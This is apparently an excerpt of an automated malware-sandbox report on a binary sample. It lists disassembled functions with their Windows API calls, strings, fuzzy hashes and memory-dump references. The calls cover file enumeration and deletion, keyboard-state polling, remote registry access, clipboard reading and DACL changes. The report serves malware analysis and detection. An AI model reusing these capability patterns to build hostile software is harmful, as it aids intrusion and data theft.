                                                                                      • FileTimeToLocalFileTime.KERNEL32(?,?), ref: 005EF6BB
                                                                                      • FileTimeToSystemTime.KERNEL32(?,?), ref: 005EF6E2
                                                                                      • __swprintf.LIBCMT ref: 005EF72E
                                                                                      • __swprintf.LIBCMT ref: 005EF767
                                                                                      • __swprintf.LIBCMT ref: 005EF7BB
                                                                                        • Part of subcall function 005C172B: __woutput_l.LIBCMT ref: 005C1784
                                                                                      • __swprintf.LIBCMT ref: 005EF809
                                                                                      • __swprintf.LIBCMT ref: 005EF858
                                                                                      • __swprintf.LIBCMT ref: 005EF8A7
                                                                                      • __swprintf.LIBCMT ref: 005EF8F6
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: __swprintf$FileTime$FindLocal$CloseFirstSystem__woutput_l
                                                                                      • String ID: %02d$%4d$%4d%02d%02d%02d%02d%02d
                                                                                      • API String ID: 835046349-2428617273
                                                                                      • Opcode ID: bdfb557c2c257893ac95e08cc2a8c46f35eeca68a517eaf184be4e0dc4e13424
                                                                                      • Instruction ID: 2d0d382c4a9d890fd0a8a70ab65a1f6edb09f7ebee28a1bba39ee0881f5b04f4
                                                                                      • Opcode Fuzzy Hash: bdfb557c2c257893ac95e08cc2a8c46f35eeca68a517eaf184be4e0dc4e13424
                                                                                      • Instruction Fuzzy Hash: 58A11FB1408345ABC314EB95C889DAFBBECBFD5744F40082DF595C6152EB34EA49CB62
                                                                                      Function 005F1B2F Relevance: 28.1, APIs: 15, Strings: 1, Instructions: 118fileCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • FindFirstFileW.KERNEL32(?,?,756E8FB0,?,00000000), ref: 005F1B50
                                                                                      • _wcscmp.LIBCMT ref: 005F1B65
                                                                                      • _wcscmp.LIBCMT ref: 005F1B7C
                                                                                      • GetFileAttributesW.KERNEL32(?), ref: 005F1B8E
                                                                                      • SetFileAttributesW.KERNEL32(?,?), ref: 005F1BA8
                                                                                      • FindNextFileW.KERNEL32(00000000,?), ref: 005F1BC0
                                                                                      • FindClose.KERNEL32(00000000), ref: 005F1BCB
                                                                                      • FindFirstFileW.KERNEL32(*.*,?), ref: 005F1BE7
                                                                                      • _wcscmp.LIBCMT ref: 005F1C0E
                                                                                      • _wcscmp.LIBCMT ref: 005F1C25
                                                                                      • SetCurrentDirectoryW.KERNEL32(?), ref: 005F1C37
                                                                                      • SetCurrentDirectoryW.KERNEL32(006539FC), ref: 005F1C55
                                                                                      • FindNextFileW.KERNEL32(00000000,00000010), ref: 005F1C5F
                                                                                      • FindClose.KERNEL32(00000000), ref: 005F1C6C
                                                                                      • FindClose.KERNEL32(00000000), ref: 005F1C7C
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: Find$File$_wcscmp$Close$AttributesCurrentDirectoryFirstNext
                                                                                      • String ID: *.*
                                                                                      • API String ID: 1803514871-438819550
                                                                                      • Opcode ID: 8bac576fb73bebf1ff41e9746e89c3a2592154f577d3cbe0b0caeadf3a91980d
                                                                                      • Instruction ID: cab7a3776464a1b2b2f2cbf6a4edae4a7ddc682442d78f26b7655c8613e8096b
                                                                                      • Opcode Fuzzy Hash: 8bac576fb73bebf1ff41e9746e89c3a2592154f577d3cbe0b0caeadf3a91980d
                                                                                      • Instruction Fuzzy Hash: AD31D532500A1EEFCF20ABA0DC4DAEE7BADBF45320F104555FA01D2190EB78DE458A68
                                                                                      Function 005F1C8A Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 111fileCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • FindFirstFileW.KERNEL32(?,?,756E8FB0,?,00000000), ref: 005F1CAB
                                                                                      • _wcscmp.LIBCMT ref: 005F1CC0
                                                                                      • _wcscmp.LIBCMT ref: 005F1CD7
                                                                                        • Part of subcall function 005E6BD4: CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000003,02000080,00000000), ref: 005E6BEF
                                                                                      • FindNextFileW.KERNEL32(00000000,?), ref: 005F1D06
                                                                                      • FindClose.KERNEL32(00000000), ref: 005F1D11
                                                                                      • FindFirstFileW.KERNEL32(*.*,?), ref: 005F1D2D
                                                                                      • _wcscmp.LIBCMT ref: 005F1D54
                                                                                      • _wcscmp.LIBCMT ref: 005F1D6B
                                                                                      • SetCurrentDirectoryW.KERNEL32(?), ref: 005F1D7D
                                                                                      • SetCurrentDirectoryW.KERNEL32(006539FC), ref: 005F1D9B
                                                                                      • FindNextFileW.KERNEL32(00000000,00000010), ref: 005F1DA5
                                                                                      • FindClose.KERNEL32(00000000), ref: 005F1DB2
                                                                                      • FindClose.KERNEL32(00000000), ref: 005F1DC2
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: Find$File$_wcscmp$Close$CurrentDirectoryFirstNext$Create
                                                                                      • String ID: *.*
                                                                                      • API String ID: 1824444939-438819550
                                                                                      • Opcode ID: 744ce8adf3f0baffe20785ad7e806dad4d2792c427b540ab9e76d6c430584cbd
                                                                                      • Instruction ID: 0a1fdbfc80b61f003109ffd7ad2684b6584657b284a891ee70edd1280c7314d6
                                                                                      • Opcode Fuzzy Hash: 744ce8adf3f0baffe20785ad7e806dad4d2792c427b540ab9e76d6c430584cbd
                                                                                      • Instruction Fuzzy Hash: 1031F631500A1EAECF20EBA0DC09AEE3BBEBF45360F104555F901E3191DB78DE458A68
                                                                                      Function 005A7D19 Relevance: 23.7, APIs: 2, Strings: 11, Instructions: 962COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: _memset
                                                                                      • String ID: Q\E$[$[:<:]]$[:>:]]$\$\$\$\b(?<=\w)$\b(?=\w)$]$^
                                                                                      • API String ID: 2102423945-2023335898
                                                                                      • Opcode ID: 3c7d34296eb3ead2b2ad2f08250b5d1e8c2f694bbad38399caa8839cb10fa0e6
                                                                                      • Instruction ID: 6aad75062d6359b38153dff45d4979bde5008f419e624e86429bc233f4a938b4
                                                                                      • Opcode Fuzzy Hash: 3c7d34296eb3ead2b2ad2f08250b5d1e8c2f694bbad38399caa8839cb10fa0e6
                                                                                      • Instruction Fuzzy Hash: 6A82A071D04219DBDF24CFA8C8806EDBBB2FF49310F2985A9D819AB351E7749D85CB90
                                                                                      Function 005F091D Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 185timeCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • GetLocalTime.KERNEL32(?), ref: 005F09DF
                                                                                      • SystemTimeToFileTime.KERNEL32(?,?), ref: 005F09EF
                                                                                      • LocalFileTimeToFileTime.KERNEL32(?,?), ref: 005F09FB
                                                                                      • __wsplitpath.LIBCMT ref: 005F0A59
                                                                                      • _wcscat.LIBCMT ref: 005F0A71
                                                                                      • _wcscat.LIBCMT ref: 005F0A83
                                                                                      • GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 005F0A98
                                                                                      • SetCurrentDirectoryW.KERNEL32(?), ref: 005F0AAC
                                                                                      • SetCurrentDirectoryW.KERNEL32(?), ref: 005F0ADE
                                                                                      • SetCurrentDirectoryW.KERNEL32(?), ref: 005F0AFF
                                                                                      • _wcscpy.LIBCMT ref: 005F0B0B
                                                                                      • SetCurrentDirectoryW.KERNEL32(?,?,?,?,?), ref: 005F0B4A
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: CurrentDirectoryTime$File$Local_wcscat$System__wsplitpath_wcscpy
                                                                                      • String ID: *.*
                                                                                      • API String ID: 3566783562-438819550
                                                                                      • Opcode ID: 9900d6d0373850ea9b2005baaba2cf8c3d99f668652b8794ba6387ffb02c4058
                                                                                      • Instruction ID: ae6901770270d5feed0ea1d19430f5075dbecfb0495c0b811919aaff9105bc71
                                                                                      • Opcode Fuzzy Hash: 9900d6d0373850ea9b2005baaba2cf8c3d99f668652b8794ba6387ffb02c4058
                                                                                      • Instruction Fuzzy Hash: 27616D7650430A9FC710EF60C8449AEBBE9FF89310F04491EFA99C7252EB35E945CB92
                                                                                      Function 005DA66C Relevance: 21.2, APIs: 14, Instructions: 178memoryCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                        • Part of subcall function 005DABBB: GetUserObjectSecurity.USER32(?,?,?,00000000,?), ref: 005DABD7
                                                                                        • Part of subcall function 005DABBB: GetLastError.KERNEL32(?,005DA69F,?,?,?), ref: 005DABE1
                                                                                        • Part of subcall function 005DABBB: GetProcessHeap.KERNEL32(00000008,?,?,005DA69F,?,?,?), ref: 005DABF0
                                                                                        • Part of subcall function 005DABBB: HeapAlloc.KERNEL32(00000000,?,005DA69F,?,?,?), ref: 005DABF7
                                                                                        • Part of subcall function 005DABBB: GetUserObjectSecurity.USER32(?,?,00000000,?,?), ref: 005DAC0E
                                                                                        • Part of subcall function 005DAC56: GetProcessHeap.KERNEL32(00000008,005DA6B5,00000000,00000000,?,005DA6B5,?), ref: 005DAC62
                                                                                        • Part of subcall function 005DAC56: HeapAlloc.KERNEL32(00000000,?,005DA6B5,?), ref: 005DAC69
                                                                                        • Part of subcall function 005DAC56: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,?,005DA6B5,?), ref: 005DAC7A
                                                                                      • GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 005DA6D0
                                                                                      • _memset.LIBCMT ref: 005DA6E5
                                                                                      • GetAclInformation.ADVAPI32(?,?,0000000C,00000002), ref: 005DA704
                                                                                      • GetLengthSid.ADVAPI32(?), ref: 005DA715
                                                                                      • GetAce.ADVAPI32(?,00000000,?), ref: 005DA752
                                                                                      • AddAce.ADVAPI32(?,00000002,000000FF,?,?), ref: 005DA76E
                                                                                      • GetLengthSid.ADVAPI32(?), ref: 005DA78B
                                                                                      • GetProcessHeap.KERNEL32(00000008,-00000008), ref: 005DA79A
                                                                                      • HeapAlloc.KERNEL32(00000000), ref: 005DA7A1
                                                                                      • GetLengthSid.ADVAPI32(?,00000008,?), ref: 005DA7C2
                                                                                      • CopySid.ADVAPI32(00000000), ref: 005DA7C9
                                                                                      • AddAce.ADVAPI32(?,00000002,000000FF,00000000,?), ref: 005DA7FA
                                                                                      • SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000), ref: 005DA820
                                                                                      • SetUserObjectSecurity.USER32(?,00000004,?), ref: 005DA834
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: HeapSecurity$AllocDescriptorLengthObjectProcessUser$Dacl$CopyErrorInformationInitializeLast_memset
                                                                                      • String ID:
                                                                                      • API String ID: 3996160137-0
                                                                                      • Opcode ID: 95aa1b29a5cb916e019a08ad4606f4ff5d9c8d46942e7c197ebef92e4d69e541
                                                                                      • Instruction ID: 59ac0b39501df1b5d1859924eef2d767a84565a95cf840ef95fda65075718533
                                                                                      • Opcode Fuzzy Hash: 95aa1b29a5cb916e019a08ad4606f4ff5d9c8d46942e7c197ebef92e4d69e541
                                                                                      • Instruction Fuzzy Hash: 02513D7190014AABDF209FA5DC45EEFBBBAFF04300F14812BF911A7291D7749906DB61
                                                                                      Function 005A6F07 Relevance: 20.9, Strings: 16, Instructions: 883COMMON
                                                                                      Download Yara Rule
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID:
                                                                                      • String ID: d$ANY)$ANYCRLF)$BSR_ANYCRLF)$BSR_UNICODE)$CR)$CRLF)$LF)$LIMIT_MATCH=$LIMIT_RECURSION=$NO_AUTO_POSSESS)$NO_START_OPT)$UCP)$UTF)$UTF16)$ddd d
                                                                                      • API String ID: 0-1679157166
                                                                                      • Opcode ID: 65dcedb108f15fd1b5e980a5d3e38b03963e9f85ef6fe7ea98178398686addf7
                                                                                      • Instruction ID: 46a82ffb2d76f20da5463b7abd75625becda20637d2252c5a0ead1babe7262ab
                                                                                      • Opcode Fuzzy Hash: 65dcedb108f15fd1b5e980a5d3e38b03963e9f85ef6fe7ea98178398686addf7
                                                                                      • Instruction Fuzzy Hash: AF727F71E0462A9BDF14CF58D8507AEBBB6BF49310F14856AE805EB380DB749E81DF90
                                                                                      Function 005E63F9 Relevance: 19.3, APIs: 9, Strings: 2, Instructions: 89fileCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                        • Part of subcall function 005E6EBB: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,005E5FA6,?), ref: 005E6ED8
                                                                                        • Part of subcall function 005E72CB: GetFileAttributesW.KERNEL32(?,005E6019), ref: 005E72CC
                                                                                      • _wcscat.LIBCMT ref: 005E6441
                                                                                      • __wsplitpath.LIBCMT ref: 005E645F
                                                                                      • FindFirstFileW.KERNEL32(?,?), ref: 005E6474
                                                                                      • _wcscpy.LIBCMT ref: 005E64A3
                                                                                      • _wcscat.LIBCMT ref: 005E64B8
                                                                                      • _wcscat.LIBCMT ref: 005E64CA
                                                                                      • DeleteFileW.KERNEL32(?), ref: 005E64DA
                                                                                      • FindNextFileW.KERNEL32(00000000,00000010), ref: 005E64EB
                                                                                      • FindClose.KERNEL32(00000000), ref: 005E6506
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: File$Find_wcscat$AttributesCloseDeleteFirstFullNameNextPath__wsplitpath_wcscpy
                                                                                      • String ID: \*.*$p1ou`Kpu
                                                                                      • API String ID: 2643075503-531078103
                                                                                      • Opcode ID: 5a2f28fa4295e01c8310a87458acb420bf9cb729e82df89531ebbb2bb82377de
                                                                                      • Instruction ID: eef5fdbde5cf414118bca3929ac6b9a5c1d98667da492d481319a88ed7a4d332
                                                                                      • Opcode Fuzzy Hash: 5a2f28fa4295e01c8310a87458acb420bf9cb729e82df89531ebbb2bb82377de
                                                                                      • Instruction Fuzzy Hash: 983141B24083859EC721DBE48889EDBBBDCBBA5350F44091EF6D9C3181EA35D6098767
                                                                                      Function 006031BC Relevance: 16.9, APIs: 11, Instructions: 397registryCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                        • Part of subcall function 00603C06: CharUpperBuffW.USER32(?,?,?,?,?,?,?,00602BB5,?,?), ref: 00603C1D
                                                                                      • RegConnectRegistryW.ADVAPI32(?,?,?), ref: 0060328E
                                                                                        • Part of subcall function 005A936C: __swprintf.LIBCMT ref: 005A93AB
                                                                                        • Part of subcall function 005A936C: __itow.LIBCMT ref: 005A93DF
                                                                                      • RegQueryValueExW.ADVAPI32(?,?,00000000,?,00000000,?), ref: 0060332D
                                                                                      • RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,00000008), ref: 006033C5
                                                                                      • RegCloseKey.ADVAPI32(000000FE,000000FE,00000000,?,00000000), ref: 00603604
                                                                                      • RegCloseKey.ADVAPI32(00000000), ref: 00603611
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: CloseQueryValue$BuffCharConnectRegistryUpper__itow__swprintf
                                                                                      • String ID:
                                                                                      • API String ID: 1240663315-0
                                                                                      • Opcode ID: 80cbc9ae42bd106ad01e44840f16e89252ec8ea29889aa5aa0a5b6d4fb433c37
                                                                                      • Instruction ID: 8a1685bc0be0049efe3af98c0fc35c2345960a7fe155d171be4863b95d00dd03
                                                                                      • Opcode Fuzzy Hash: 80cbc9ae42bd106ad01e44840f16e89252ec8ea29889aa5aa0a5b6d4fb433c37
                                                                                      • Instruction Fuzzy Hash: 30E14A31604211AFCB19DF28C895E6FBBE9FF89314B04886DF54ADB3A1DA30E905CB51
                                                                                      Function 005E2B37 Relevance: 16.6, APIs: 11, Instructions: 119keyboardCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • GetKeyboardState.USER32(?), ref: 005E2B5F
                                                                                      • GetAsyncKeyState.USER32(000000A0), ref: 005E2BE0
                                                                                      • GetKeyState.USER32(000000A0), ref: 005E2BFB
                                                                                      • GetAsyncKeyState.USER32(000000A1), ref: 005E2C15
                                                                                      • GetKeyState.USER32(000000A1), ref: 005E2C2A
                                                                                      • GetAsyncKeyState.USER32(00000011), ref: 005E2C42
                                                                                      • GetKeyState.USER32(00000011), ref: 005E2C54
                                                                                      • GetAsyncKeyState.USER32(00000012), ref: 005E2C6C
                                                                                      • GetKeyState.USER32(00000012), ref: 005E2C7E
                                                                                      • GetAsyncKeyState.USER32(0000005B), ref: 005E2C96
                                                                                      • GetKeyState.USER32(0000005B), ref: 005E2CA8
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: State$Async$Keyboard
                                                                                      • String ID:
                                                                                      • API String ID: 541375521-0
                                                                                      • Opcode ID: 32aa7ae7d75aa16b309d433e8df2fcd9090b88120c9bb9405f4686be91a16e7e
                                                                                      • Instruction ID: de5f48f28982d070cb66cab7e46193623fe580f1e39facc31b522ff27e4dafee
                                                                                      • Opcode Fuzzy Hash: 32aa7ae7d75aa16b309d433e8df2fcd9090b88120c9bb9405f4686be91a16e7e
                                                                                      • Instruction Fuzzy Hash: 4F41E630904BC97DFF389B62C8043A9BEA97F11304F148499D9CA562C6DBE49DC8C7A2
                                                                                      Function 005F6D07 Relevance: 15.1, APIs: 10, Instructions: 83clipboardmemoryCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: Clipboard$AllocCloseEmptyGlobalOpen
                                                                                      • String ID:
                                                                                      • API String ID: 1737998785-0
                                                                                      • Opcode ID: eedc0ead506aba13a69c3d95ce603501182d78c6208a8dd15450de48fdb70355
                                                                                      • Instruction ID: 5bb6b21e82e488f2729a2293367931713028b95c6f5ca07b56c856c57af6c584
                                                                                      • Opcode Fuzzy Hash: eedc0ead506aba13a69c3d95ce603501182d78c6208a8dd15450de48fdb70355
                                                                                      • Instruction Fuzzy Hash: 2421AC31300615AFDB21AF64DC49B6D7BAAFF54710F04841AFA0ADB2A1CB74ED028B91
                                                                                      Function 005FC18C Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 232COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                        • Part of subcall function 005D9ABF: CLSIDFromProgID.OLE32 ref: 005D9ADC
                                                                                        • Part of subcall function 005D9ABF: ProgIDFromCLSID.OLE32(?,00000000), ref: 005D9AF7
                                                                                        • Part of subcall function 005D9ABF: lstrcmpiW.KERNEL32(?,00000000), ref: 005D9B05
                                                                                        • Part of subcall function 005D9ABF: CoTaskMemFree.OLE32(00000000,?,00000000), ref: 005D9B15
                                                                                      • CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000002,00000003,00000000,00000000,00000000,?,?,?), ref: 005FC235
                                                                                      • _memset.LIBCMT ref: 005FC242
                                                                                      • _memset.LIBCMT ref: 005FC360
                                                                                      • CoCreateInstanceEx.OLE32(?,00000000,00000015,?,00000001,00000001), ref: 005FC38C
                                                                                      • CoTaskMemFree.OLE32(?), ref: 005FC397
                                                                                      Strings
                                                                                      • NULL Pointer assignment, xrefs: 005FC3E5
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: FreeFromProgTask_memset$CreateInitializeInstanceSecuritylstrcmpi
                                                                                      • String ID: NULL Pointer assignment
                                                                                      • API String ID: 1300414916-2785691316
                                                                                      • Opcode ID: e802f9f2d9607b30346a5783c60d7ac3106fa220e792e7a559120966af7e62df
                                                                                      • Instruction ID: 054bacb5baea048c5b8fc9372248df3cc45150396ca337d0f3adde4271c30436
                                                                                      • Opcode Fuzzy Hash: e802f9f2d9607b30346a5783c60d7ac3106fa220e792e7a559120966af7e62df
